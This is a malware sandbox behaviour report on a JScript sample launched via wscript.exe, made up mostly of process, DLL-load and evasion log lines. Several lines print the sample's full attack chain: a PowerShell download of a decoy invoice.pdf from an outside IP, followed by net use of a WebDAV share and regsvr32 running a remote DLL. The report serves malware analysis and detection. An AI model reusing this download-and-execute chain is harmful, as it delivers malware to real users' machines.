Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\573.js.csv");ITextStream.WriteLine(" entry:7656 f:clzqj");ITextStream.WriteLine(" exec:2 f:clzqj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4485			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5371			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3616	Thread sleep count: 4485 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3616	Thread sleep count: 5371 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2080	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2492	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2536	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7392	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000002.1749700773.0000020D21E98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@Y
Source: net.exe, 00000006.00000003.1749067286.0000020D21F00000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749758845.0000020D21F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW=v
Source: net.exe, 00000006.00000003.1749067286.0000020D21F00000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749758845.0000020D21F00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2969588817.000001CF1162B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2970739046.000001CF16C44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2970786960.000001CF16C56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

